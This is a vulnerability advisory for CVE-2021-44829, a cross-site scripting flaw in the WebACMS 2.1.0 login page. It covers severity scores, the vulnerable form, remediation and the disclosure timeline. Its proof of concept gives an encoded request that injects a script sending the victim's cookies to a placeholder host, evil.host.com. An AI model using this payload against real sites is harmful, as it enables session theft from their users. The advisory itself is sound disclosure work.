WebACMS 2.1.0 Cross Site Scripting Vulnerability

Product: WebACMS
Vendor: AFI Solutions GmbH
Tested Version: 2.1.0
Fixed Version: -
Vulnerability Type: Cross-Site Scripting (CWE-79)
CVSSv2 Severity: AV:N/AC:L/Au:N/C:P/I:P/A:N (Score 6.4)
CVSSv3 Severity: AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N (Score 6.1)
Solution Status: Unfixed
Manufacturer Notification: 2021-12-13
Solution Date: 2022-01-17
Public Disclosure: 2022-01-20
CVE Reference: CVE-2021-44829
Authors of Advisory: Patrick Hener & Siva Rajendran, Thinking Objects GmbH

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Overview:

The product "ACMS" of AFI Solutions GmbH [1] is a so called edi 
converter. For
companies to be able to exchange arbitrary data it is common to use a edi
converter to convert between data formats of the sender and the recipient.
The product of AFI Solutions also incorporates a web interface, which is the
subject of this advisory.

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Vulnerability Details:

The index page has a parameter "ID" which is used to navigate within the web
application. It is not properly sanitized and will be rendered into the 
login
form of the index page, as well. The vulnerable code will be shown from the
following listing:

<FORM name=thisForm METHOD=post action="/index.html?id=1" target="_top">
   <table class="logintable">
     <tr>
       <td width="110">Benutzername</td>
       [.. truncated ..]
</form>

The parameter can be chosen from the actual url in the browser and thus is
unsanitized user controlled input. This makes the application vulnerable to
reflected Cross-Site Scripting. This vulnerability also applies to basically
all user controlled input after login. Also content returned by the database
is not properly sanitized before presentation, as well. Therefore the app is
also vulnerable to stored Cross-Site Scripting.

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Proof of Concept (PoC):

The following request will steal the applications insecure cookies using 
this
vulnerablity.

GET 
/index.html?id=%22%3E%3Cscript%3Edocument.location=%27http://evil.host.com
   /cookies?%27%2Bdocument.cookie;%3C/script%3E%3Cid=%22 HTTP/1.1
Host: vulnerable.host.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101 
Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
   image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: COMID=
Upgrade-Insecure-Requests: 1

This will render to the following html code and trigger in a victims 
browser.

<FORM name=thisForm METHOD=post action="/index.html?id="><script>
document.location='http://evil.host.com/cookies?'+document.cookie;</script>
   <id="" target="_top">

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Solution:

The user supplied data should be sanitized before using it to render a page.
Also database retrieved content should be sanitized before presenting it 
to the
browser again.

The vendor states that this software component was only used by the vendors
support and that it is not used actively anymore. The vendor recommends to
deactivate this component.

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Disclosure Timeline:
2021-12-10: Vulnerability discovered
2021-12-13: Vulnerability reported to manufacturer
2022-01-17: Solution provided by manufacturer
2022-01-20: Public disclosure of vulnerability

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References:

[1] Vendor Website
     https://www.afi-solutions.com/
[2] Thinking Objects Security Advisory
     https://blog.to.com/advisory-webacms-2-1-0-cross-site-scripting
[3] Thinking Objects Responsible Disclosure Policy
     https://blog.to.com/responsible-disclosure-policy/